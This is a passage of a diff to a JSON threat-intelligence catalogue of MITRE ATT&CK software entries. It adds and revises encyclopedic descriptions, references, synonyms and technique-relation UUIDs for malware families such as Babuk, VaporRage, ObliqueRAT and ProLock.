+ },
+ "related": [
+ {
+ "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "853c4192-4311-43e1-bfbb-b11b14911852",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "bf1b6176-597c-4600-bfcd-ac989670f96b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "4bc31b94-045b-4752-8920-aebaebdb6470",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "21875073-b0ee-49e3-9077-1e2a885359af",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "c26f1c05-b861-4970-94dc-2f7f921a3074",
+ "value": "BoomBox - S0635"
+ },
+ {
+ "description": "[xCaon](https://attack.mitre.org/software/S0653) is an HTTP variant of the [BoxCaon](https://attack.mitre.org/software/S0651) malware family that has used by [IndigoZebra](https://attack.mitre.org/groups/G0136) since at least 2014. [xCaon](https://attack.mitre.org/software/S0653) has been used to target political entities in Central Asia, including Kyrgyzstan and Uzbekistan.(Citation: Checkpoint IndigoZebra July 2021)(Citation: Securelist APT Trends Q2 2017)",
+ "meta": {
+ "external_id": "S0653",
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0653",
+ "https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/",
+ "https://securelist.com/apt-trends-report-q2-2017/79332/"
+ ],
+ "synonyms": [
+ "xCaon"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "21583311-6321-4891-8a37-3eb4e57b0fb1",
+ "value": "xCaon - S0653"
+ },
{
"description": "[GPlayed](https://attack.mitre.org/software/S0536) is an Android trojan with a broad range of capabilities.(Citation: Talos GPlayed) ",
"meta": {
@@ -45570,7 +51574,7 @@
"value": "Pysa - S0583"
},
{
- "description": "[ECCENTRICBANDWAGON](https://attack.mitre.org/software/S0593) is a Remote Access Tool (RAT) used by [Lazarus Group](https://attack.mitre.org/groups/G0032) that was first identified in August 2020. It is a reconnaissance tool--with keylogging and screen capture functionality--used for information gathering on compromised systems.(Citation: CISA EB Aug 2020)",
+ "description": "[ECCENTRICBANDWAGON](https://attack.mitre.org/software/S0593) is a remote access Trojan (RAT) used by North Korean cyber actors that was first identified in August 2020. It is a reconnaissance tool--with keylogging and screen capture functionality--used for information gathering on compromised systems.(Citation: CISA EB Aug 2020)",
"meta": {
"external_id": "S0593",
"mitre_platforms": [
@@ -45946,6 +51950,54 @@
"uuid": "75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661",
"value": "WannaCry - S0366"
},
+ {
+ "description": "[VaporRage](https://attack.mitre.org/software/S0636) is a shellcode downloader that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2021.(Citation: MSTIC Nobelium Toolset May 2021)",
+ "meta": {
+ "external_id": "S0636",
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0636",
+ "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"
+ ],
+ "synonyms": [
+ "VaporRage"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "853c4192-4311-43e1-bfbb-b11b14911852",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "96eca9b9-b37f-42f1-96dc-a2c441403194",
+ "value": "VaporRage - S0636"
+ },
{
"description": "[Emotet](https://attack.mitre.org/software/S0367) is a modular malware variant which is primarily used as a downloader for other malware variants such as [TrickBot](https://attack.mitre.org/software/S0266) and [IcedID](https://attack.mitre.org/software/S0483). Emotet first emerged in June 2014 and has been primarily used to target the banking sector. (Citation: Trend Micro Banking Malware Jan 2019)",
"meta": {
@@ -46363,6 +52415,193 @@
"uuid": "454fe82d-6fd2-4ac6-91ab-28a33fe01369",
"value": "HOPLIGHT - S0376"
},
+ {
+ "description": "[NativeZone](https://attack.mitre.org/software/S0637) is the name given collectively to disposable custom [Cobalt Strike](https://attack.mitre.org/software/S0154) loaders used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2021.(Citation: MSTIC Nobelium Toolset May 2021)(Citation: SentinelOne NobleBaron June 2021)",
+ "meta": {
+ "external_id": "S0637",
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0637",
+ "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/",
+ "https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/"
+ ],
+ "synonyms": [
+ "NativeZone"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "853c4192-4311-43e1-bfbb-b11b14911852",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "29be378d-262d-4e99-b00d-852d573628e6",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "b4783be3-35d9-4a56-ac8d-1f3e1c9d9a84",
+ "value": "NativeZone - S0637"
+ },
+ {
+ "description": "[Babuk](https://attack.mitre.org/software/S0638) is a Ransomware-as-a-service (RaaS) malware that has been used since at least 2021. The operators of [Babuk](https://attack.mitre.org/software/S0638) employ a \"Big Game Hunting\" approach to targeting major enterprises and operate a leak site to post stolen data as part of their extortion scheme.(Citation: Sogeti CERT ESEC Babuk March 2021)(Citation: McAfee Babuk February 2021)(Citation: CyberScoop Babuk February 2021)",
+ "meta": {
+ "external_id": "S0638",
+ "mitre_platforms": [
+ "Windows",
+ "Linux"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0638",
+ "https://www.sogeti.com/globalassets/reports/cybersecchronicles_-_babuk.pdf",
+ "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-babuk-ransomware.pdf",
+ "https://www.cyberscoop.com/babuk-ransomware-serco-attack/",
+ "https://www.trendmicro.com/en_us/research/21/b/new-in-ransomware.html"
+ ],
+ "synonyms": [
+ "Babuk",
+ "Babyk",
+ "Vasa Locker"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "20fb2507-d71c-455d-9b6d-6104461cf26b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "61c7a91a-0b83-461d-ad32-75d96eed4a09",
+ "value": "Babuk - S0638"
+ },
{
"description": "[NotPetya](https://attack.mitre.org/software/S0368) is malware that was used by [Sandworm Team](https://attack.mitre.org/groups/G0034) in a worldwide attack starting on June 27, 2017. While [NotPetya](https://attack.mitre.org/software/S0368) appears as a form of ransomware, its main purpose was to destroy data and disk structures on compromised systems; the attackers never intended to make the encrypted data recoverable. As such, [NotPetya](https://attack.mitre.org/software/S0368) may be more appropriately thought of as a form of wiper malware. [NotPetya](https://attack.mitre.org/software/S0368) contains worm-like features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance.(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)(Citation: ESET Telebots June 2017)(Citation: US District Court Indictment GRU Unit 74455 October 2020)",
"meta": {
@@ -48081,6 +54320,125 @@
"uuid": "a705b085-1eae-455e-8f4d-842483d814eb",
"value": "Cadelspy - S0454"
},
+ {
+ "description": "[ObliqueRAT](https://attack.mitre.org/software/S0644) is a remote access trojan, similar to [Crimson](https://attack.mitre.org/software/S0115), that has been in use by [Transparent Tribe](https://attack.mitre.org/groups/G0134) since at least 2020.(Citation: Talos Oblique RAT March 2021)(Citation: Talos Transparent Tribe May 2021)",
+ "meta": {
+ "external_id": "S0644",
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0644",
+ "https://blog.talosintelligence.com/2021/02/obliquerat-new-campaign.html",
+ "https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html"
+ ],
+ "synonyms": [
+ "ObliqueRAT"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "c2e147a9-d1a8-4074-811a-d8789202d916",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "29be378d-262d-4e99-b00d-852d573628e6",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "1b7ba276-eedc-4951-a762-0ceea2c030ec",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "6faf650d-bf31-4eb4-802d-1000cf38efaf",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "c3888c54-775d-4b2f-b759-75a2ececcbfd",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "5864e59f-eb4c-43ad-83b2-b5e4fae056c9",
+ "value": "ObliqueRAT - S0644"
+ },
{
"description": "[SYSCON](https://attack.mitre.org/software/S0464) is a backdoor that has been in use since at least 2017 and has been associated with campaigns involving North Korean themes. [SYSCON](https://attack.mitre.org/software/S0464) has been delivered by the [CARROTBALL](https://attack.mitre.org/software/S0465) and [CARROTBAT](https://attack.mitre.org/software/S0462) droppers.(Citation: Unit 42 CARROTBAT November 2018)(Citation: Unit 42 CARROTBAT January 2020)",
"meta": {
@@ -48288,13 +54646,27 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "c1b68a96-3c48-49ea-a6c0-9b27359f9c19",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "a020a61c-423f-4195-8c46-ba1d21abba37",
"value": "Ryuk - S0446"
},
{
- "description": "[Lokibot](https://attack.mitre.org/software/S0447) is a malware designed to collect credentials and security tokens from an infected machine. [Lokibot](https://attack.mitre.org/software/S0447) has also been used to establish backdoors in enterprise environments.(Citation: Infoblox Lokibot January 2019)(Citation: Morphisec Lokibot April 2020)",
+ "description": "[Lokibot](https://attack.mitre.org/software/S0447) is a widely distributed information stealer that was first reported in 2015. It is designed to steal sensitive information such as usernames, passwords, cryptocurrency wallets, and other credentials. [Lokibot](https://attack.mitre.org/software/S0447) can also create a backdoor into infected systems to allow an attacker to install additional payloads.(Citation: Infoblox Lokibot January 2019)(Citation: Morphisec Lokibot April 2020)(Citation: CISA Lokibot September 2020)",
"meta": {
"external_id": "S0447",
"mitre_platforms": [
@@ -48303,7 +54675,9 @@
"refs": [
"https://attack.mitre.org/software/S0447",
"https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence--22",
- "https://blog.morphisec.com/lokibot-with-autoit-obfuscator-frenchy-shellcode"
+ "https://blog.morphisec.com/lokibot-with-autoit-obfuscator-frenchy-shellcode",
+ "https://us-cert.cisa.gov/ncas/alerts/aa20-266a",
+ "https://blog.talosintelligence.com/2021/01/a-deep-dive-into-lokibot-infection-chain.html"
],
"synonyms": [
"Lokibot"
@@ -48400,6 +54774,111 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "4933e63b-9b77-476e-ab29-761bc5b7d15a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "4bed873f-0b7d-41d4-b93a-b6905d1f90b0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "cb741463-f0fe-42e0-8d45-bc7e8335f5ae",
@@ -48773,6 +55252,13 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "c1b68a96-3c48-49ea-a6c0-9b27359f9c19",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "d9f7383c-95ec-4080-bbce-121c9384457b",
@@ -49177,7 +55663,7 @@
"value": "Egregor - S0554"
},
{
- "description": "[Metamorfo](https://attack.mitre.org/software/S0455) is a banking trojan operated by a Brazilian cybercrime group that has been active since at least April 2018. The group focuses on targeting mostly Brazilian users.(Citation: Medium Metamorfo Apr 2020)",
+ "description": "[Metamorfo](https://attack.mitre.org/software/S0455) is a Latin-American banking trojan operated by a Brazilian cybercrime group that has been active since at least April 2018. The group focuses on targeting banks and cryptocurrency services in Brazil and Mexico.(Citation: Medium Metamorfo Apr 2020)(Citation: ESET Casbaneiro Oct 2019) ",
"meta": {
"external_id": "S0455",
"mitre_platforms": [
@@ -49185,10 +55671,12 @@
],
"refs": [
"https://attack.mitre.org/software/S0455",
- "https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767"
+ "https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767",
+ "https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/"
],
"synonyms": [
- "Metamorfo"
+ "Metamorfo",
+ "Casbaneiro"
]
},
"related": [
@@ -49485,6 +55973,34 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "f7827069-0bf2-4764-af4f-23fae0d181b7",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "81c57a96-fc8c-4f91-af8e-63e24c2927c2",
@@ -49552,6 +56068,75 @@
"uuid": "63c4511b-2d6e-4bb2-b582-e2e99a8a467d",
"value": "BlackMould - S0564"
},
+ {
+ "description": "[ProLock](https://attack.mitre.org/software/S0654) is a ransomware strain that has been used in Big Game Hunting (BGH) operations since at least 2020, often obtaining initial access with [QakBot](https://attack.mitre.org/software/S0650). [ProLock](https://attack.mitre.org/software/S0654) is the successor to PwndLocker ransomware which was found to contain a bug allowing decryption without ransom payment in 2019.(Citation: Group IB Ransomware September 2020)",
+ "meta": {
+ "external_id": "S0654",
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0654",
+ "https://groupib.pathfactory.com/ransomware-reports/prolock_wp"
+ ],
+ "synonyms": [
+ "ProLock"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "c8e87b83-edbb-48d4-9295-4974897525b7",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "c2e147a9-d1a8-4074-811a-d8789202d916",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "471d0e9f-2c8a-4e4b-8f3b-f85d2407806e",
+ "value": "ProLock - S0654"
+ },
{
"description": "[SharpStage](https://attack.mitre.org/software/S0546) is a .NET malware with backdoor capabilities.(Citation: Cybereason Molerats Dec 2020)(Citation: BleepingComputer Molerats Dec 2020)",
"meta": {
@@ -49638,6 +56223,13 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
